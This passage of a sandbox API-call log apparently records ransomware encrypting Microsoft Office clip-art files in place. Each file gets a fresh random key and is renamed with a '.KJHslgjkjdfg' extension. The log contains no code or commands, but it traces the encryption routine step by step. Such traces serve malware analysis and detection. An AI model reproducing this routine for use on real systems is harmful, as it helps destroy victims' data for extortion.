RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.393] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.393] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.393] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x5, lpOverlapped=0x0) returned 1 [0191.395] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.395] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.395] GetProcessHeap () returned 0x2a0000 [0191.395] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.395] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.395] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.395] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.395] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.396] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.396] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.396] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.396] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.396] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.396] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.396] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.396] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x107b, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x107b, lpOverlapped=0x0) returned 1 [0191.397] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1080, dwBufLen=0x1080 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1080) returned 1 [0191.397] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.397] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1080, lpOverlapped=0x0) returned 1 [0191.398] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.398] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1154, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.398] SetEndOfFile (hFile=0x114) returned 1 [0191.400] GetProcessHeap () returned 0x2a0000 [0191.400] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.400] GetProcessHeap () returned 0x2a0000 [0191.403] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.403] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid.kjhslgjkjdfg")) returned 1 [0191.405] CloseHandle (hObject=0x114) returned 1 [0191.406] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1a2c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SPRNG_01.MID", cAlternateFileName="")) returned 1 [0191.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.407] GetProcessHeap () returned 0x2a0000 [0191.407] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.407] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.407] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.407] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.410] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.410] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.410] GetProcessHeap () returned 0x2a0000 [0191.410] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.410] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.410] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.410] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.410] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.410] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.410] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.410] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.411] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.411] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.411] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.411] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.411] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1a2c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1a2c, lpOverlapped=0x0) returned 1 [0191.412] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1a30, dwBufLen=0x1a30 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1a30) returned 1 [0191.412] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.412] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1a30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1a30, lpOverlapped=0x0) returned 1 [0191.412] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.412] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1b04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.412] SetEndOfFile (hFile=0x114) returned 1 [0191.415] GetProcessHeap () returned 0x2a0000 [0191.415] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.415] GetProcessHeap () returned 0x2a0000 [0191.415] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.415] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid.kjhslgjkjdfg")) returned 1 [0191.417] CloseHandle (hObject=0x114) returned 1 [0191.417] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xbd6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STUBBY1.WMF", cAlternateFileName="")) returned 1 [0191.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.420] GetProcessHeap () returned 0x2a0000 [0191.420] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.420] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.420] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.420] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0191.422] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.422] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.422] GetProcessHeap () returned 0x2a0000 [0191.422] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.422] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.422] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.422] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.423] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.423] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.423] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.423] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.423] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.423] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.423] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.423] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.423] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xbd6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xbd6, lpOverlapped=0x0) returned 1 [0191.423] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbe0, dwBufLen=0xbe0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbe0) returned 1 [0191.423] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.423] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xbe0, lpOverlapped=0x0) returned 1 [0191.424] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.424] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xcb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.424] SetEndOfFile (hFile=0x114) returned 1 [0191.427] GetProcessHeap () returned 0x2a0000 [0191.427] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.427] GetProcessHeap () returned 0x2a0000 [0191.427] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.427] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby1.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby1.wmf.kjhslgjkjdfg")) returned 1 [0191.429] CloseHandle (hObject=0x114) returned 1 [0191.429] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xa16, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STUBBY2.WMF", cAlternateFileName="")) returned 1 [0191.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.430] GetProcessHeap () returned 0x2a0000 [0191.430] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.430] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.430] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.430] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0191.433] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.433] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.433] GetProcessHeap () returned 0x2a0000 [0191.433] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.433] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.433] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.433] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.433] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.433] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.433] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.433] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.433] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.434] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.434] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.434] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.434] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa16, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa16, lpOverlapped=0x0) returned 1 [0191.434] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa20, dwBufLen=0xa20 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa20) returned 1 [0191.434] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.434] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa20, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa20, lpOverlapped=0x0) returned 1 [0191.434] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.434] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xaf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.434] SetEndOfFile (hFile=0x114) returned 1 [0191.437] GetProcessHeap () returned 0x2a0000 [0191.437] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.437] GetProcessHeap () returned 0x2a0000 [0191.437] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.437] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby2.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby2.wmf.kjhslgjkjdfg")) returned 1 [0191.439] CloseHandle (hObject=0x114) returned 1 [0191.440] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x36dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SUMER_01.MID", cAlternateFileName="")) returned 1 [0191.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.442] GetProcessHeap () returned 0x2a0000 [0191.442] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.442] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.443] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.443] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.445] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.445] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.445] GetProcessHeap () returned 0x2a0000 [0191.445] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.445] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.445] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.445] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, 